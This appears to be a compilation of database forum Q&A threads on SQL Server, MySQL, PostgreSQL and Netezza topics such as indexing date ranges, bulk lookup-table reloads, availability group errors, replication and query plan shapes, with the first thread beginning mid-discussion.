Edit: why do I need this.

This database is a local Dev Edition sandbox to run automated tests against. Historically, we used to create such database on RAMDisk, so that tests run fast. Currently we are getting faster workstations with SSD drives. When everyone have them, we shall do away with RAMDisk altogether, and just create the sandbox on C: drive.

For now, while some team members still have to use RAMDisk, I'd like to create my sandbox on E: drive, without setting up RAMDisk. This is why I tried subst.

Can suggest a better approach?

subst is scoped per session. Your command and the instance run on different sessions.

Creating a database on a subst virtual folder does not sound like a good idea. What are you trying to achieve?


Select n random rows for each language ID in one table I have a table which holds many text entries for many languages, the structure is like this:

`entry` varchar(255),
`language` tinyint,

The language column is an integer type and I have the supported languages pre-defined in my code like LANG_EN = 1, LANG_DE = 2 etc, so I know the maximum possible value.

I want to select only one random row for each supported language ID, preferably with a single query.
So if I have 3 supported languages, the query should return 3 rows, with unique language values, therefore having one entry per each language.

I tried it a few ways, with using DISTINCT and GROUP BY but couldn't get it working with a single query.

SELECT * FROM lang_entries GROUP BY language ORDER BY RAND() LIMIT 3

This selects 3 entries of each language, but always the first occurrences in the table (meaning that only the order is random, the entry field is
always the same and that's what I want to be random)

SELECT DISTINCT lang, entry FROM test ORDER BY RAND() LIMIT 3;

This kind of works, but doesn't select unique items, sometimes the languages are repeated and I need to have distinct languages.

Something like this, may be:

select language,
(select entry from entries e1 where e1.language = e.language order by rand() limit 1) entry
from (select distinct language from entries) e

dbfiddle link


Best way to update the content of large lookups tables In our application we have a about 20 tables that contain lookup information (read only data that the application doesn't modify).

Nightly we'd like to update this information by deleting all the content and running a script that run a series of inserts and updates. This script could be a couple of million lines long.

I was thinking to run this within a transaction.

What behaviour should I expect from the database? Will the tables be updated at the end of the transaction without downtime?

Is there something I should be aware of when running large transactions?

The database I'm using is Postgres 9.3

Thanks.

Assuming that the script contains only INSERTs, UPDATEs and DELETEs to the target table(s), and that the app never attempts row locks (SELECT ... FOR UPDATE/SHARE) or DML on those tables, then the script shouldn't affect the app except for the increased load on the DB server.

When the script commits, the changes will instantly become visible to new statements (if the transaction is in READ COMMITTED isolation) or transactions (if they're in SERIALIZABLE isolation).

However...

  Nightly we'd like to update this information by deleting all the content and running a script that run a series of inserts and updates. This script could be a couple of million lines long.

You should use COPY for this instead of a script full of inserts and updates, if possible.

Just:

DELETE FROM mytable;
VACUUM mytable;
COPY mytable FROM 'inputfile.csv' WITH (FORMAT CSV)

or similar.

It will be a lot faster. Because of the next point, you might want to load several smaller files though.

  Is there something I should be aware of when running large transactions?

Long running data modifying transactions prevent VACUUM from cleaning up rows in other tables that they might be able to "see". This can create quite a lot of table bloat.

If you use READ COMMITTED isolation and stick to individual statements that don't take an extremely long time you won't have a problem, because the snapshot that controls which rows the transaction can see gets updated after each statement.

It's mostly a concern if you're using cursors, working in SERIALIZABLE isolation, or running extremely long-running individual data modifying statements.


Improve the speed of a BETWEEN search I have a query witch is selecting some data between two dates:

SELECT * FROM rk.p_reports
WHERE project_id = 1 AND engine_id = 1 AND type_id = 1
  AND created_at::date BETWEEN now()::date - 14 AND now()::date

I have tried creating various indexes to speedup the queries but without any luck

First index: project_id, engine_id, type_id, created_at ASC, created_at DESC

Second index: project_id, engine_id, type_id, created_at ASC AND project_id, engine_id, type_id, created_at DESC

Third index: project_id, engine_id, type_id, created_at ASC

And other combinations, and non of the index was picked without turning enable_seqscan = off

At the moment it will take around 3 sec to return my rows, this partition has around 1.5 mil rows. I am using Postgresql 9.4 on the DB server has 8 Gb ram and 6 cores.

Is there any way I can reduce this to under a sec?

Seq Scan on p_reports_1  (cost=0.00..57649.04 rows=4322 width=40) (actual time=614.221..696.583 rows=92607 loops=1)
Filter: ((project_id = 1) AND (engine_id = 1) AND (type_id = 1) AND ((created_at)::date <= (now())::date) AND ((created_at)::date >= ((now())::date - 14)))
Rows Removed by Filter: 1063344
Planning time: 0.200 ms
Execution time: 703.493 ms

Update, query modified as @ypercube sugested:

Bitmap Heap Scan on p_reports_1  (cost=2952.28..17478.45 rows=89005 width=40) (actual time=17.485..34.569 rows=87712 loops=1)
Recheck Cond: ((project_id = 1) AND (engine_id = 1) AND (type_id = 1) AND (created_at >= ((now())::date - 14)) AND (created_at <= (now())::date))
Heap Blocks: exact=1180
 ->  Bitmap Index Scan on p_reports_1_asc_created_at  (cost=0.00..2930.03 rows=89005 width=0) (actual time=17.236..17.236 rows=87712 loops=1)
    Index Cond: ((project_id = 1) AND (engine_id = 1) AND (type_id = 1) AND (created_at >= ((now())::date - 14)) AND (created_at <= (now())::date))
Planning time: 0.319 ms
Execution time: 41.569 ms

I suspect the indexes are not chosen by the optimizer because they have the column created_at (which is a timestamp?) but the query is converting it to date.

I suggest you either create an index on (project_id, engine_id, type_id, created_at::date) or just keep the index on (project_id, engine_id, type_id, created_at) and change the condition to:

 AND created_at >= now()::date - 14
 AND created_at < now()::date + 1

You can use current_date instead of now()::date.
I can't think of any situation where the (project_id, engine_id, type_id, created_at ASC, created_at DESC) would be useful. Drop this one.
About the two other indexes, (..., created_at ASC) and (..., created_at DESC), either one would be ok for the query (with the changed condition). I suggest you keep only one of them, unless you have other queries that need both.


Unable to join secondary replica to the availability group by SQL Server error 47106 We were trying to create availability group with 3 synchronous replicas, where we couldn't give the names specified in /etc/hosts as node specifiers in the create availability group in the primary replica. We got the following error:

  Msg 35237, Level 16, State 1, Server , Line 1

  None of the specified replicas for availability group  maps to
  the instance of SQL Server to which you are connected. Reenter the
  command, specifying this server instance to host one of the replicas.
  This replica will be the initial primary replica.

but based on the following link:
What is causing this error: None of the specified replicas for availability group ag1 maps to the instance of SQL Server to which you are connected

I changed the node specifier to the hostname and that worked, but then I couldn't connect the secondary replicas to the availability group.

ALTER AVAILABILITY GROUP [ag1] JOIN WITH (CLUSTER_TYPE = EXTERNAL);

I have received the following error:

  Msg 47106, Level 16, State 3, Server '', Line 1

  Cannot join availability group 'ag1'. Download configuration timeout.
  Please check primary configuration, network connectivity and firewall
  setup, then retry the operation.

  Msg 41158, Level 16, State 3, Server '', Line 1

  Failed to join local availability replica to availability group 'ag1'.
  The operation encountered SQL Server error 47106 and has been rolled
  back. Check the SQL Server error log for more details. When the cause
  of the error has been resolved, retry the ALTER AVAILABILITY GROUP
  JOIN command.

I solved the issue. For the error 35237, the hostname that was changed should be of max 15 characters for the node specifier while creating the availability group or else it won't recognize the remaining characters


Replicating multiple databases into one database I would like to replicate multiple databases on different servers into one master database.

I have 5 different instances on separate servers all running SQL 2008 R2. The schemas and structure are all the same but the data is different. I need to replicate all the data into one database on a single instance.
What would the best way going forward?

There's about 132 tables which need to be replicated. I tried creating publishers on each server and subscribing them to a single database on one instance but with no success: data is being over written and some servers are not replicating.

I probably have the wrong approach or messed up something along the way. Your assistance will be highly appreciated.

How do you manage the primary keys on those 5 instances? Unless you carefully planned this ahead so that each instance generate non-overlapping keys on each instance, on each table (sounds like you didn't) there is no way aggregate the data. See Managing Identity Columns for identity keys. For application generated key it gets more complicated as is the application responsibility to generate non-overlapping keys.

After you set up proper key management on each of the 132 table involved on each of the 5 instances, you can set up replication, making sure you apply the initial snapshot each time carefully not to overwrite existing data.


Combining a query for value and an insert MySQL I have 2 tables, ranks and accounts. When inserting into accounts I fetch the ID of the rank first, storing it in a variable on the script running the queries, then insert the new account into the table with the rank ID. How could I combine this into a single MySQL statement?

UPDATE:

// This is pseudo code.
var acct = GetAcct()
var a = MySQL.query("SELECT `id` FROM `ranks`
           WHERE `name`=" + acct.rankName).firstResult()
var b = MySQL.query("INSERT INTO `accounts` (`sid`, `did`,`rank`)
           VALUES (" + acct.sid + "," + acct.did + "," + a + ")
           ON DUPLICATE KEY UPDATE
               `did`=" + acct.did + ",`sid`=" + acct.sid + ",
               `rank`=" + a)

Use INSERT .. SELECT instead of INSERT .. VALUES:

INSERT INTO accounts (name       , login       , ..., rank        , ...)
SELECT                'some name', 'some login', ..., ranks.rankID, ...
FROM ranks
WHERE ranks.name = 'some rank' /* ORDER BY ranks.somefield LIMIT 1 */

The values You need to insert directly (name, login, etc.) are added into SELECT part literally, the data obtained from ranks table is selected by common way. If there exists more than 1 record in ranks appropriate to criteria You use - add ordering and limiting to select (and add into destination table) one record only.


T-SQL Query to retrieve the last full backup (Including split and copy only), Size and Location I am using the following query answered by Marcello Miorelli. This query serves the purpose for normal backups but fails to determine the actual backup size of all the split backups and copy only backups. Ideally, I want to have the list of all the database backup information (Size, Last backup date, location) including split and copy-Only backups.
Can anyone help me tweak this bug to fetch the accurate database backup size.

For copy only backups, just remove this condition in the WHERE clause:
AND A.is_copy_only = 0

By "split backup", I assume you mean that you have something that is using VSS to create a snapshot backup? Are you 100% certain that this isn't in the result? I don't have such a backuphistory to play with at the moment, but I suggest you start by doing SELECT from backupset and see if those backups are present. If they are, it should be pretty easy to adjust the SQL based on that. If they aren't, then you probably do a snapshot backup without SQL server knowing it, and those aren't considered valid backups from SQL Server's viewpoint (potentially corrupt databases if you restore from such a backup).


How can I get rid of an unhelpful parallel branch when unpivoting a single row? Consider the following query that unpivots a few handfuls of scalar aggregates:

SELECT A, B
FROM (
    SELECT
      MAX(CASE WHEN ID = 1 THEN 1 ELSE 0 END) VAL1
    , MAX(CASE WHEN ID = 2 THEN 1 ELSE 0 END) VAL2
    , MAX(CASE WHEN ID = 3 THEN 1 ELSE 0 END) VAL3
    , MAX(CASE WHEN ID = 4 THEN 1 ELSE 0 END) VAL4
    , MAX(CASE WHEN ID = 5 THEN 1 ELSE 0 END) VAL5
    , MAX(CASE WHEN ID = 6 THEN 1 ELSE 0 END) VAL6
    , MAX(CASE WHEN ID = 7 THEN 1 ELSE 0 END) VAL7
    , MAX(CASE WHEN ID = 16 THEN 1 ELSE 0 END) VAL16
    FROM dbo.PARALLEL_ZONE_REPRO
) q
UNPIVOT(B FOR A IN (
    VAL1
    ,VAL2
    ,VAL3
    ,VAL4
    ,VAL5
    ,VAL6
    ,VAL7
    ,VAL16
)) U
OPTION (MAXDOP 4);

On SQL Server 2017, I get a plan with two parallel branches. The left parallel branch feels out of place to me. The optimizer has a guarantee that there will be only a single row output from the global scalar aggregate, yet the parent operator of it is a Distribute Streams with round robin partitioning:

When I execute the query all of the rows go to a single thread as expected. There's no performance problem with this query, but the query reserves 8 parallel threads with MAXDOP set to 4. Again, I feel that this is out of place. It's impossible for both parallel branches to execute at the same time. I want to avoid unnecessary worker thread reservation because I have TF 2467 enabled which changes the scheduling algorithm to look at the number of worker threads per scheduler.

Is it possible to rewrite the query to have exactly one parallel branch that contains the table scan and local aggregate? For example, I would be fine with the general shape below except that I want the nested loop to execute in a serial zone:

For Application Reasons™ I strongly prefer to avoid splitting this query up into parts. If desired, you can view the actual query plan here. If you'd like to play along at home, here is T-SQL to create the table used in the query:

DROP TABLE IF EXISTS dbo.PARALLEL_ZONE_REPRO;

CREATE TABLE dbo.PARALLEL_ZONE_REPRO (
    ID BIGINT,
    FILLER VARCHAR(100)
);

INSERT INTO dbo.PARALLEL_ZONE_REPRO WITH (TABLOCK)
SELECT
  ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) % 15
, REPLICATE('Z', 100)
FROM master..spt_values t1
CROSS JOIN master..spt_values t2;

I am able to get the desired plan shape with a serial loop join when all of the following are true:

An APPLY or CROSS JOIN is used instead of UNPIVOT
The APPLY contains no outer references
The source of rows in the APPLY is a table value constructor as opposed to a table

For example, here is one way to do it:

SELECT A, B
FROM
(
    SELECT A
    , MAX(
        CASE
            WHEN A = 'VAL1' THEN VAL1
            WHEN A = 'VAL2' THEN VAL2
            WHEN A = 'VAL3' THEN VAL3
            WHEN A = 'VAL4' THEN VAL4
            WHEN A = 'VAL5' THEN VAL5
            WHEN A = 'VAL6' THEN VAL6
            WHEN A = 'VAL7' THEN VAL7
            WHEN A = 'VAL16' THEN VAL16
            ELSE NULL
        END
    ) B
    FROM (
         SELECT
           MAX(CASE WHEN ID = 1 THEN 1 ELSE 0 END) VAL1
         , MAX(CASE WHEN ID = 2 THEN 1 ELSE 0 END) VAL2
         , MAX(CASE WHEN ID = 3 THEN 1 ELSE 0 END) VAL3
         , MAX(CASE WHEN ID = 4 THEN 1 ELSE 0 END) VAL4
         , MAX(CASE WHEN ID = 5 THEN 1 ELSE 0 END) VAL5
         , MAX(CASE WHEN ID = 6 THEN 1 ELSE 0 END) VAL6
         , MAX(CASE WHEN ID = 7 THEN 1 ELSE 0 END) VAL7
         , MAX(CASE WHEN ID = 16 THEN 1 ELSE 0 END) VAL16
         FROM dbo.PARALLEL_ZONE_REPRO
    ) q
    CROSS APPLY (
        VALUES ('VAL1'), ('VAL2'), ('VAL3'), ('VAL4'),
        ('VAL5'), ('VAL6'), ('VAL7'), ('VAL16')
    ) ca (A)
    GROUP BY A
) q
WHERE q.B IS NOT NULL
OPTION (MAXDOP 4);

I get the desired plan plan shape as claimed with just one parallel branch:

I tried many other things that did not work. This answer is unsatisfactory in that I don't know why it works and it may not work in a future version of SQL Server, but it did solve my problem.


How can primary keys in a Netezza table be indexed? What is the best way to index a Netezza fact table with lots of primary keys.  For now, let's suppose we have 10 primary keys.  This table is mainly used to store meta data about our database.

===================

6/21/2012 - update

This is the diagram for SQL Server or Oracle, not Netezza.  I haven't built this table on Netezza yet.  Some of the primary keys you see in the fact table are also foreign keys (concept_cd, provider_id, encounter_num are 3 example FKs).

You can't have more than one primary key on a table - I assume you mean foreign keys.  There is no best way to do this, because it depends upon your workload.  In some indexes one column may come first, while another may have a completely different selection of columns, let alone order.

In the end it doesn't really matter, because Netezza doesn't have indexes in the first place, so I'm not sure what you're getting at.

That is a composite primary key made up of all those columns.  Together they are "unique" (Netezza doesn't enforce this) and uniquely identify the row.  This is typical in a dimensional design.  The FKs of a large number of dimensions uniquely identify a fact - usually a date/time for the snapshot, and something like a stock ticker or customer or whatever.